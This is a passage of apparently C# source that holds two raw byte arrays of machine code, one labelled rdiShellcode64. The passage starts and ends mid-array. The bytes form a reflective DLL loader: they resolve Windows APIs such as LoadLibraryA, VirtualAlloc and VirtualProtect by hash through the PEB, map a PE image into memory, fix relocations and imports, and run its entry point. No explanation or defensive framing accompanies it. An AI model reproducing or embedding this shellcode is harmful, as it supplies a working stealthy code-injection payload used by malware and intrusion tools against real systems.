,0xB8,0x80,0x00,0x00,0x00,0xEB,0x0F,0x85,0xC0,0x74,0x27,0x85,0xCA,0x74,0x0D,0x85,0xC9,0x78,0x09,0x6A,0x20,0x58,0x89,0x44,0x24,0x20,0xEB,0x1A,0x85,0xC0,0x74,0x12,0x85,0xCA,0x74,0x0E,0x8B,0x44,0x24,0x20,0x85,0xC9,0x6A,0x40,0x5A,0x0F,0x48,0xC2,0xEB,0xE4,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x09,0x0D,0x00,0x02,0x00,0x00,0x89,0x44,0x24,0x20,0x8D,0x4C,0x24,0x20,0x51,0x50,0x8B,0x46,0xFC,0xFF,0x36,0x03,0xC3,0x50,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x40,0x0F,0xB7,0x45,0x06,0x47,0x83,0xC6,0x28,0x3B,0xF8,0x0F,0x82,0x22,0xFF,0xFF,0xFF,0x6A,0x00,0x6A,0x00,0x6A,0xFF,0xFF,0x94,0x24,0xC4,0x00,0x00,0x00,0x83,0xBD,0xC4,0x00,0x00,0x00,0x00,0x74,0x26,0x8B,0x85,0xC0,0x00,0x00,0x00,0x8B,0x74,0x18,0x0C,0x8B,0x06,0x85,0xC0,0x74,0x16,0x33,0xED,0x45,0x6A,0x00,0x55,0x53,0xFF,0xD0,0x8D,0x76,0x04,0x8B,0x06,0x85,0xC0,0x75,0xF1,0x8B,0x6C,0x24,0x28,0x33,0xC0,0x40,0x50,0x50,0x8B,0x45,0x28,0x53,0x03,0xC3,0xFF,0xD0,0x83,0xBC,0x24,0x2C,0x01,0x00,0x00,0x00,0x0F,0x84,0xAB,0x00,0x00,0x00,0x83,0x7D,0x7C,0x00,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x55,0x78,0x03,0xD3,0x8B,0x6A,0x18,0x85,0xED,0x0F,0x84,0x91,0x00,0x00,0x00,0x83,0x7A,0x14,0x00,0x0F,0x84,0x87,0x00,0x00,0x00,0x8B,0x7A,0x20,0x8B,0x4A,0x24,0x03,0xFB,0x83,0x64,0x24,0x30,0x00,0x03,0xCB,0x85,0xED,0x74,0x74,0x8B,0x37,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x03,0xF3,0x74,0x66,0x8A,0x06,0x84,0xC0,0x74,0x1A,0x8B,0x6C,0x24,0x10,0x0F,0xBE,0xC0,0x03,0xE8,0xC1,0xCD,0x0D,0x46,0x8A,0x06,0x84,0xC0,0x75,0xF1,0x89,0x6C,0x24,0x10,0x8B,0x6A,0x18,0x8B,0x84,0x24,0x2C,0x01,0x00,0x00,0x3B,0x44,0x24,0x10,0x75,0x04,0x85,0xC9,0x75,0x15,0x8B,0x44,0x24,0x30,0x83,0xC7,0x04,0x40,0x83,0xC1,0x02,0x89,0x44,0x24,0x30,0x3B,0xC5,0x72,0xAE,0xEB,0x20,0x0F,0xB7,0x09,0x8B,0x42,0x1C,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0xFF,0xB4,0x24,0x34,0x01,0x00,0x00,0x8D,0x04,0x88,0x8B,0x04,0x18,0x03,0xC3,0xFF,0xD0,0x59,0x59,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x81,0xC4,0x14,0x01,0x00,0x00,0xC3,0x83,0xEC,0x14,0x64,0xA1,0x30,0x00,0x00,0x00,0x53,0x55,0x56,0x8B,0x40,0x0C,0x57,0x89,0x4C,0x24,0x1C,0x8B,0x78,0x0C,0xE9,0xA5,0x00,0x00,0x00,0x8B,0x47,0x30,0x33,0xF6,0x8B,0x5F,0x2C,0x8B,0x3F,0x89,0x44,0x24,0x10,0x8B,0x42,0x3C,0x89,0x7C,0x24,0x14,0x8B,0x6C,0x10,0x78,0x89,0x6C,0x24,0x18,0x85,0xED,0x0F,0x84,0x80,0x00,0x00,0x00,0xC1,0xEB,0x10,0x33,0xC9,0x85,0xDB,0x74,0x2F,0x8B,0x7C,0x24,0x10,0x0F,0xBE,0x2C,0x0F,0xC1,0xCE,0x0D,0x80,0x3C,0x0F,0x61,0x89,0x6C,0x24,0x10,0x7C,0x09,0x8B,0xC5,0x83,0xC0,0xE0,0x03,0xF0,0xEB,0x04,0x03,0x74,0x24,0x10,0x41,0x3B,0xCB,0x72,0xDD,0x8B,0x7C,0x24,0x14,0x8B,0x6C,0x24,0x18,0x8B,0x44,0x2A,0x20,0x33,0xDB,0x8B,0x4C,0x2A,0x18,0x03,0xC2,0x89,0x4C,0x24,0x10,0x85,0xC9,0x74,0x34,0x8B,0x38,0x33,0xED,0x03,0xFA,0x83,0xC0,0x04,0x89,0x44,0x24,0x20,0x8A,0x0F,0xC1,0xCD,0x0D,0x0F,0xBE,0xC1,0x03,0xE8,0x47,0x84,0xC9,0x75,0xF1,0x8B,0x7C,0x24,0x14,0x8D,0x04,0x2E,0x3B,0x44,0x24,0x1C,0x74,0x20,0x8B,0x44,0x24,0x20,0x43,0x3B,0x5C,0x24,0x10,0x72,0xCC,0x8B,0x57,0x18,0x85,0xD2,0x0F,0x85,0x50,0xFF,0xFF,0xFF,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x14,0xC3,0x8B,0x74,0x24,0x18,0x8B,0x44,0x16,0x24,0x8D,0x04,0x58,0x0F,0xB7,0x0C,0x10,0x8B,0x44,0x16,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x10,0x03,0xC2,0xEB,0xDB }; + var rdiShellcode64 = new byte[] { 0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x44,0x89,0x48,0x20,0x4C,0x89,0x40,0x18,0x89,0x50,0x10,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8D,0x6C,0x24,0x90,0x48,0x81,0xEC,0x70,0x01,0x00,0x00,0x45,0x33,0xFF,0xC7,0x45,0xD8,0x6B,0x00,0x65,0x00,0x48,0x8B,0xF1,0x4C,0x89,0x7D,0xF8,0xB9,0x13,0x9C,0xBF,0xBD,0x4C,0x89,0x7D,0xC8,0x4C,0x89,0x7D,0x08,0x45,0x8D,0x4F,0x65,0x4C,0x89,0x7D,0x10,0x44,0x88,0x4D,0xBC,0x44,0x88,0x4D,0xA2,0x4C,0x89,0x7D,0x00,0x4C,0x89,0x7D,0xF0,0x4C,0x89,0x7D,0x18,0x44,0x89,0x7D,0x24,0x44,0x89,0x7C,0x24,0x2C,0xC7,0x45,0xDC,0x72,0x00,0x6E,0x00,0xC7,0x45,0xE0,0x65,0x00,0x6C,0x00,0xC7,0x45,0xE4,0x33,0x00,0x32,0x00,0xC7,0x45,0xE8,0x2E,0x00,0x64,0x00,0xC7,0x45,0xEC,0x6C,0x00,0x6C,0x00,0xC7,0x44,0x24,0x40,0x53,0x6C,0x65,0x65,0xC6,0x44,0x24,0x44,0x70,0xC7,0x44,0x24,0x58,0x4C,0x6F,0x61,0x64,0xC7,0x44,0x24,0x5C,0x4C,0x69,0x62,0x72,0xC7,0x44,0x24,0x60,0x61,0x72,0x79,0x41,0xC7,0x44,0x24,0x48,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x4C,0x75,0x61,0x6C,0x41,0xC7,0x44,0x24,0x50,0x6C,0x6C,0x6F,0x63,0xC7,0x44,0x24,0x68,0x56,0x69,0x72,0x74,0xC7,0x44,0x24,0x6C,0x75,0x61,0x6C,0x50,0xC7,0x44,0x24,0x70,0x72,0x6F,0x74,0x65,0x66,0xC7,0x44,0x24,0x74,0x63,0x74,0xC7,0x45,0xA8,0x46,0x6C,0x75,0x73,0xC7,0x45,0xAC,0x68,0x49,0x6E,0x73,0xC7,0x45,0xB0,0x74,0x72,0x75,0x63,0xC7,0x45,0xB4,0x74,0x69,0x6F,0x6E,0xC7,0x45,0xB8,0x43,0x61,0x63,0x68,0xC7,0x44,0x24,0x78,0x47,0x65,0x74,0x4E,0xC7,0x44,0x24,0x7C,0x61,0x74,0x69,0x76,0xC7,0x45,0x80,0x65,0x53,0x79,0x73,0xC7,0x45,0x84,0x74,0x65,0x6D,0x49,0x66,0xC7,0x45,0x88,0x6E,0x66,0xC6,0x45,0x8A,0x6F,0xC7,0x45,0x90,0x52,0x74,0x6C,0x41,0xC7,0x45,0x94,0x64,0x64,0x46,0x75,0xC7,0x45,0x98,0x6E,0x63,0x74,0x69,0xC7,0x45,0x9C,0x6F,0x6E,0x54,0x61,0x66,0xC7,0x45,0xA0,0x62,0x6C,0xE8,0x7F,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x48,0x8B,0xD8,0xE8,0x72,0x08,0x00,0x00,0x4C,0x8B,0xE8,0x48,0x89,0x45,0xD0,0x48,0x8D,0x45,0xD8,0xC7,0x45,0x20,0x18,0x00,0x18,0x00,0x4C,0x8D,0x4C,0x24,0x38,0x48,0x89,0x45,0x28,0x4C,0x8D,0x45,0x20,0x33,0xD2,0x33,0xC9,0xFF,0xD3,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x48,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xC8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x68,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x00,0xC7,0x44,0x24,0x28,0x0E,0x00,0x0E,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8D,0x45,0xA8,0xC7,0x44,0x24,0x28,0x15,0x00,0x15,0x00,0x48,0x8B,0x4C,0x24,0x38,0x4C,0x8D,0x4D,0x08,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x78,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x10,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x40,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF0,0xC7,0x44,0x24,0x28,0x05,0x00,0x05,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x45,0x90,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0x18,0xC7,0x44,0x24,0x28,0x13,0x00,0x13,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x48,0x8B,0x4C,0x24,0x38,0x48,0x8D,0x44,0x24,0x58,0x45,0x33,0xC0,0x48,0x89,0x44,0x24,0x30,0x4C,0x8D,0x4D,0xF8,0xC7,0x44,0x24,0x28,0x0C,0x00,0x0C,0x00,0x48,0x8D,0x54,0x24,0x28,0x41,0xFF,0xD5,0x4C,0x39,0x7D,0xC8,0x0F,0x84,0x1D,0x07,0x00,0x00,0x4C,0x39,0x7D,0x00,0x0F,0x84,0x13,0x07,0x00,0x00,0x4C,0x39,0x7D,0xF0,0x0F,0x84,0x09,0x07,0x00,0x00,0x4C,0x39,0x7D,0x08,0x0F,0x84,0xFF,0x06,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x85,0xD2,0x0F,0x84,0xF2,0x06,0x00,0x00,0x48,0x63,0x7E,0x3C,0x48,0x03,0xFE,0x81,0x3F,0x50,0x45,0x00,0x00,0x0F,0x85,0xDF,0x06,0x00,0x00,0xB8,0x64,0x86,0x00,0x00,0x66,0x39,0x47,0x04,0x0F,0x85,0xD0,0x06,0x00,0x00,0x45,0x8D,0x4F,0x01,0x44,0x84,0x4F,0x38,0x0F,0x85,0xC2,0x06,0x00,0x00,0x0F,0xB7,0x4F,0x14,0x41,0x8B,0xDF,0x48,0x83,0xC1,0x24,0x66,0x44,0x3B,0x7F,0x06,0x73,0x25,0x44,0x0F,0xB7,0x47,0x06,0x48,0x03,0xCF,0x44,0x39,0x79,0x04,0x8B,0x47,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x48,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x4D,0x2B,0xC1,0x75,0xE3,0x48,0x8D,0x4D,0x38,0xFF,0xD2,0x8B,0x55,0x3C,0x44,0x8B,0xC2,0x44,0x8D,0x72,0xFF,0xF7,0xDA,0x44,0x03,0x77,0x50,0x49,0x8D,0x48,0xFF,0x8B,0xC2,0x4C,0x23,0xF0,0x8B,0xC3,0x48,0x03,0xC8,0x49,0x8D,0x40,0xFF,0x48,0xF7,0xD0,0x48,0x23,0xC8,0x4C,0x3B,0xF1,0x0F,0x85,0x54,0x06,0x00,0x00,0x48,0x8B,0x4F,0x30,0x41,0xBC,0x00,0x30,0x00,0x00,0x45,0x8B,0xC4,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x8B,0xD6,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x48,0x85,0xC0,0x75,0x12,0x44,0x8D,0x48,0x04,0x45,0x8B,0xC4,0x49,0x8B,0xD6,0x33,0xC9,0xFF,0x55,0xC8,0x48,0x8B,0xD8,0x44,0x8B,0xA5,0xD0,0x00,0x00,0x00,0x41,0xBB,0x01,0x00,0x00,0x00,0x45,0x84,0xE3,0x74,0x1D,0x8B,0x46,0x3C,0x89,0x43,0x3C,0x8B,0x56,0x3C,0xEB,0x0B,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0xEB,0x19,0x41,0x8B,0xD7,0x44,0x39,0x7F,0x54,0x76,0x10,0x8B,0xCA,0x41,0x03,0xD3,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0x48,0x63,0x7B,0x3C,0x45,0x8B,0xD7,0x48,0x03,0xFB,0x48,0x89,0x7D,0x30,0x44,0x0F,0xB7,0x47,0x14,0x49,0x83,0xC0,0x28,0x66,0x44,0x3B,0x7F,0x06,0x73,0x3A,0x4C,0x03,0xC7,0x45,0x8B,0xCF,0x45,0x39,0x38,0x76,0x1F,0x41,0x8B,0x50,0x04,0x41,0x8B,0x48,0xFC,0x41,0x8B,0xC1,0x45,0x03,0xCB,0x48,0x03,0xC8,0x48,0x03,0xD0,0x8A,0x04,0x32,0x88,0x04,0x19,0x45,0x3B,0x08,0x72,0xE1,0x0F,0xB7,0x47,0x06,0x45,0x03,0xD3,0x49,0x83,0xC0,0x28,0x44,0x3B,0xD0,0x72,0xC9,0x4C,0x8B,0xF3,0x41,0xB8,0x02,0x00,0x00,0x00,0x4C,0x2B,0x77,0x30,0x0F,0x84,0xD6,0x00,0x00,0x00,0x44,0x39,0xBF,0xB4,0x00,0x00,0x00,0x0F,0x84,0xC9,0x00,0x00,0x00,0x44,0x8B,0x8F,0xB0,0x00,0x00,0x00,0x4C,0x03,0xCB,0x45,0x39,0x39,0x0F,0x84,0xB6,0x00,0x00,0x00,0x4D,0x8D,0x51,0x08,0xE9,0x91,0x00,0x00,0x00,0x45,0x0F,0xB7,0x1A,0x41,0x0F,0xB7,0xCB,0x41,0x0F,0xB7,0xC3,0x66,0xC1,0xE9,0x0C,0x66,0x83,0xF9,0x0A,0x75,0x29,0x45,0x8B,0x01,0x41,0x81,0xE3,0xFF,0x0F,0x00,0x00,0x4B,0x8D,0x04,0x18,0x48,0x8B,0x14,0x18,0x4B,0x8D,0x04,0x18,0x41,0xBB,0x01,0x00,0x00,0x00,0x49,0x03,0xD6,0x48,0x89,0x14,0x18,0x45,0x8D,0x43,0x01,0xEB,0x4F,0x41,0xBB,0x01,0x00,0x00,0x00,0x66,0x83,0xF9,0x03,0x75,0x0E,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x8B,0xC6,0xEB,0x2E,0x66,0x41,0x3B,0xCB,0x75,0x15,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x49,0x8B,0xC6,0x48,0xC1,0xE8,0x10,0x0F,0xB7,0xC0,0xEB,0x13,0x66,0x41,0x3B,0xC8,0x75,0x14,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x0F,0xB7,0xC6,0x41,0x8B,0x11,0x48,0x01,0x04,0x0A,0x4D,0x03,0xD0,0x41,0x8B,0x41,0x04,0x49,0x03,0xC1,0x4C,0x3B,0xD0,0x0F,0x85,0x5F,0xFF,0xFF,0xFF,0x4D,0x8B,0xCA,0x45,0x39,0x3A,0x0F,0x85,0x4A,0xFF,0xFF,0xFF,0x44,0x39,0xBF,0x94,0x00,0x00,0x00,0x0F,0x84,0x82,0x01,0x00,0x00,0x8B,0x8F,0x90,0x00,0x00,0x00,0x45,0x8B,0xEF,0x4C,0x8D,0x04,0x19,0x49,0x8D,0x40,0x0C,0xEB,0x07,0x45,0x03,0xEB,0x48,0x8D,0x40,0x14,0x44,0x39,0x38,0x75,0xF4,0x41,0x8B,0xC4,0x83,0xE0,0x04,0x89,0x45,0xC0,0x8B,0xC1,0x0F,0x84,0x89,0x00,0x00,0x00,0x45,0x3B,0xEB,0x0F,0x86,0x80,0x00,0x00,0x00,0x41,0xC1,0xEC,0x10,0x45,0x8D,0x5D,0xFF,0x45,0x8B,0xD7,0x45,0x85,0xDB,0x74,0x74,0x4D,0x8B,0xC8,0x41,0xBE,0xFF,0x7F,0x00,0x00,0x41,0x0F,0x10,0x01,0x33,0xD2,0x41,0x8B,0xCD,0x41,0x2B,0xCA,0x69,0xF6,0xFD,0x43,0x03,0x00,0x41,0x8B,0xC6,0xF7,0xF1,0x33,0xD2,0x81,0xC6,0xC3,0x9E,0x26,0x00,0x8D,0x48,0x01,0x8B,0xC6,0xC1,0xE8,0x10,0x41,0x23,0xC6,0xF7,0xF1,0x41,0x03,0xC2,0x41,0xFF,0xC2,0x48,0x8D,0x0C,0x80,0x41,0x8B,0x54,0x88,0x10,0x41,0x0F,0x10,0x0C,0x88,0x41,0x0F,0x11,0x04,0x88,0x41,0x8B,0x41,0x10,0x41,0x89,0x44,0x88,0x10,0x41,0x0F,0x11,0x09,0x41,0x89,0x51,0x10,0x4D,0x8D,0x49,0x14,0x45,0x3B,0xD3,0x72,0xA1,0x8B,0x87,0x90,0x00,0x00,0x00,0xEB,0x04,0x44,0x8B,0x65,0xC0,0x8B,0xF0,0x48,0x03,0xF3,0x8B,0x46,0x0C,0x85,0xC0,0x0F,0x84,0xB1,0x00,0x00,0x00,0x8B,0x7D,0xC0,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x4C,0x8B,0xD0,0x44,0x8B,0x36,0x44,0x8B,0x7E,0x10,0x4C,0x03,0xF3,0x4C,0x03,0xFB,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x5F,0x48,0x85,0xC9,0x79,0x08,0x45,0x0F,0xB7,0x06,0x33,0xD2,0xEB,0x32,0x48,0x8D,0x53,0x02,0x33,0xC0,0x48,0x03,0xD1,0x38,0x02,0x74,0x0E,0x48,0x8B,0xCA,0x48,0xFF,0xC1,0x48,0xFF,0xC0,0x80,0x39,0x00,0x75,0xF5,0x48,0x89,0x54,0x24,0x30,0x45,0x33,0xC0,0x48,0x8D,0x54,0x24,0x28,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4D,0x8B,0xCF,0x49,0x8B,0xCA,0xFF,0x55,0xD0,0x49,0x83,0xC6,0x08,0x49,0x83,0xC7,0x08,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x07,0x4C,0x8B,0x54,0x24,0x38,0xEB,0xA1,0x45,0x33,0xFF,0x85,0xFF,0x74,0x10,0x41,0x83,0xFD,0x01,0x76,0x0A,0x41,0x69,0xCC,0xE8,0x03,0x00,0x00,0xFF,0x55,0xF0,0x8B,0x46,0x20,0x48,0x83,0xC6,0x14,0x85,0xC0,0x0F,0x85,0x56,0xFF,0xFF,0xFF,0x48,0x8B,0x7D,0x30,0x4C,0x8B,0x6D,0xD0,0x44,0x39,0xBF,0xF4,0x00,0x00,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x44,0x8B,0xBF,0xF0,0x00,0x00,0x00,0x49,0x83,0xC7,0x04,0x4C,0x03,0xFB,0x45,0x33,0xE4,0x41,0x8B,0x07,0x85,0xC0,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x48,0x8B,0xC8,0x41,0x8B,0x77,0x08,0x45,0x8B,0x77,0x0C,0x48,0x03,0xF3,0x4C,0x03,0xF3,0x4C,0x39,0x26,0x74,0x5E,0x49,0x8B,0x16,0x48,0x85,0xD2,0x79,0x08,0x44,0x0F,0xB7,0xC2,0x33,0xD2,0xEB,0x34,0x4C,0x8D,0x43,0x02,0x49,0x8B,0xC4,0x4C,0x03,0xC2,0x45,0x38,0x20,0x74,0x0E,0x49,0x8B,0xD0,0x48,0xFF,0xC2,0x48,0xFF,0xC0,0x44,0x38,0x22,0x75,0xF5,0x4C,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x45,0x33,0xC0,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4C,0x8B,0xCE,0x41,0xFF,0xD5,0x48,0x83,0xC6,0x08,0x49,0x83,0xC6,0x08,0x4C,0x39,0x26,0x74,0x07,0x48,0x8B,0x4C,0x24,0x38,0xEB,0xA2,0x49,0x83,0xC7,0x20,0xE9,0x6B,0xFF,0xFF,0xFF,0x45,0x33,0xFF,0x0F,0xB7,0x77,0x14,0x45,0x8B,0xF7,0x48,0x83,0xC6,0x28,0x41,0xBC,0x01,0x00,0x00,0x00,0x66,0x44,0x3B,0x7F,0x06,0x0F,0x83,0x0B,0x01,0x00,0x00,0x48,0x03,0xF7,0x44,0x39,0x3E,0x0F,0x84,0xEB,0x00,0x00,0x00,0x8B,0x46,0x14,0x8B,0xC8,0x81,0xE1,0x00,0x00,0x00,0x20,0x75,0x17,0x0F,0xBA,0xE0,0x1E,0x72,0x11,0x85,0xC0,0x78,0x0D,0x45,0x8B,0xC4,0x44,0x89,0x64,0x24,0x20,0xE9,0xA4,0x00,0x00,0x00,0x85,0xC9,0x75,0x3C,0x0F,0xBA,0xE0,0x1E,0x72,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x08,0xEB,0x68,0x85,0xC9,0x75,0x28,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x78,0x06,0x44,0x8D,0x41,0x02,0xEB,0x54,0x85,0xC9,0x75,0x14,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x04,0xEB,0x40,0x85,0xC9,0x74,0x5F,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x78,0x08,0x41,0xB8,0x10,0x00,0x00,0x00,0xEB,0x2A,0x85,0xC9,0x74,0x49,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x79,0x08,0x41,0xB8,0x80,0x00,0x00,0x00,0xEB,0x14,0x85,0xC9,0x74,0x33,0x0F,0xBA,0xE0,0x1E,0x73,0x11,0x85,0xC0,0x78,0x0D,0x41,0xB8,0x20,0x00,0x00,0x00,0x44,0x89,0x44,0x24,0x20,0xEB,0x21,0x85,0xC9,0x74,0x18,0x0F,0xBA,0xE0,0x1E,0x73,0x12,0x44,0x8B,0x44,0x24,0x20,0x85,0xC0,0xB9,0x40,0x00,0x00,0x00,0x44,0x0F,0x48,0xC1,0xEB,0xDD,0x44,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x0A,0x41,0x0F,0xBA,0xE8,0x09,0x44,0x89,0x44,0x24,0x20,0x8B,0x4E,0xFC,0x4C,0x8D,0x4C,0x24,0x20,0x8B,0x16,0x48,0x03,0xCB,0xFF,0x55,0x00,0x0F,0xB7,0x47,0x06,0x45,0x03,0xF4,0x48,0x83,0xC6,0x28,0x44,0x3B,0xF0,0x0F,0x82,0xF8,0xFE,0xFF,0xFF,0x45,0x33,0xC0,0x33,0xD2,0x48,0x83,0xC9,0xFF,0xFF,0x55,0x08,0x44,0x39,0xBF,0xD4,0x00,0x00,0x00,0x74,0x24,0x8B,0x87,0xD0,0x00,0x00,0x00,0x48,0x8B,0x74,0x18,0x18,0xEB,0x0F,0x45,0x33,0xC0,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x48,0x8D,0x76,0x08,0x48,0x8B,0x06,0x48,0x85,0xC0,0x75,0xE9,0x4C,0x8B,0x4D,0x18,0x4D,0x85,0xC9,0x74,0x2F,0x8B,0x87,0xA4,0x00,0x00,0x00,0x85,0xC0,0x74,0x25,0x8B,0xC8,0x4C,0x8B,0xC3,0x48,0xB8,0xAB,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0x48,0xF7,0xE1,0x8B,0x8F,0xA0,0x00,0x00,0x00,0x48,0xC1,0xEA,0x03,0x48,0x03,0xCB,0x41,0x2B,0xD4,0x41,0xFF,0xD1,0x8B,0x47,0x28,0x4D,0x8B,0xC4,0x48,0x03,0xC3,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x8B,0xB5,0xB8,0x00,0x00,0x00,0x85,0xF6,0x0F,0x84,0x97,0x00,0x00,0x00,0x44,0x39,0xBF,0x8C,0x00,0x00,0x00,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x8F,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x44,0x8B,0x59,0x18,0x45,0x85,0xDB,0x74,0x78,0x44,0x39,0x79,0x14,0x74,0x72,0x44,0x8B,0x49,0x20,0x41,0x8B,0xFF,0x8B,0x51,0x24,0x4C,0x03,0xCB,0x48,0x03,0xD3,0x45,0x85,0xDB,0x74,0x5D,0x45,0x8B,0x01,0x45,0x8B,0xD7,0x4C,0x03,0xC3,0x74,0x52,0xEB,0x0D,0x0F,0xBE,0xC0,0x44,0x03,0xD0,0x41,0xC1,0xCA,0x0D,0x4D,0x03,0xC4,0x41,0x8A,0x00,0x84,0xC0,0x75,0xEC,0x41,0x3B,0xF2,0x75,0x05,0x48,0x85,0xD2,0x75,0x12,0x41,0x03,0xFC,0x49,0x83,0xC1,0x04,0x48,0x83,0xC2,0x02,0x41,0x3B,0xFB,0x73,0x22,0xEB,0xC3,0x8B,0x41,0x1C,0x0F,0xB7,0x0A,0x48,0x03,0xC3,0x8B,0x95,0xC8,0x00,0x00,0x00,0x44,0x8B,0x04,0x88,0x48,0x8B,0x8D,0xC0,0x00,0x00,0x00,0x4C,0x03,0xC3,0x41,0xFF,0xD0,0x48,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x9C,0x24,0xB0,0x01,0x00,0x00,0x48,0x81,0xC4,0x70,0x01,0x00,0x00,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x5F,0x5E,0x5D,0xC3,0xCC,0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x56,0x48,0x83,0xEC,0x10,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x8B,0xE9,0x45,0x33,0xF6,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x4A,0x10,0x4D,0x8B,0x41,0x30,0x4D,0x85,0xC0,0x0F,0x84,0xB3,0x00,0x00,0x00,0x41,0x0F,0x10,0x41,0x58,0x49,0x63,0x40,0x3C,0x41,0x8B,0xD6,0x4D,0x8B,0x09,0xF3,0x0F,0x7F,0x04,0x24,0x46,0x8B,0x9C,0x00,0x88,0x00,0x00,0x00,0x45,0x85,0xDB,0x74,0xD2,0x48,0x8B,0x04,0x24,0x48,0xC1,0xE8,0x10,0x66,0x44,0x3B,0xF0,0x73,0x22,0x48,0x8B,0x4C,0x24,0x08,0x44,0x0F,0xB7,0xD0,0x0F,0xBE,0x01,0xC1,0xCA,0x0D,0x80,0x39,0x61,0x7C,0x03,0x83,0xC2,0xE0,0x03,0xD0,0x48,0xFF,0xC1,0x49,0x83,0xEA,0x01,0x75,0xE7,0x4F,0x8D,0x14,0x18,0x45,0x8B,0xDE,0x41,0x8B,0x7A,0x20,0x49,0x03,0xF8,0x45,0x39,0x72,0x18,0x76,0x8E,0x8B,0x37,0x41,0x8B,0xDE,0x49,0x03,0xF0,0x48,0x8D,0x7F,0x04,0x0F,0xBE,0x0E,0x48,0xFF,0xC6,0xC1,0xCB,0x0D,0x03,0xD9,0x84,0xC9,0x75,0xF1,0x8D,0x04,0x13,0x3B,0xC5,0x74,0x0E,0x41,0xFF,0xC3,0x45,0x3B,0x5A,0x18,0x72,0xD5,0xE9,0x5E,0xFF,0xFF,0xFF,0x41,0x8B,0x42,0x24,0x43,0x8D,0x0C,0x1B,0x49,0x03,0xC0,0x0F,0xB7,0x14,0x01,0x41,0x8B,0x4A,0x1C,0x49,0x03,0xC8,0x8B,0x04,0x91,0x49,0x03,0xC0,0xEB,0x02,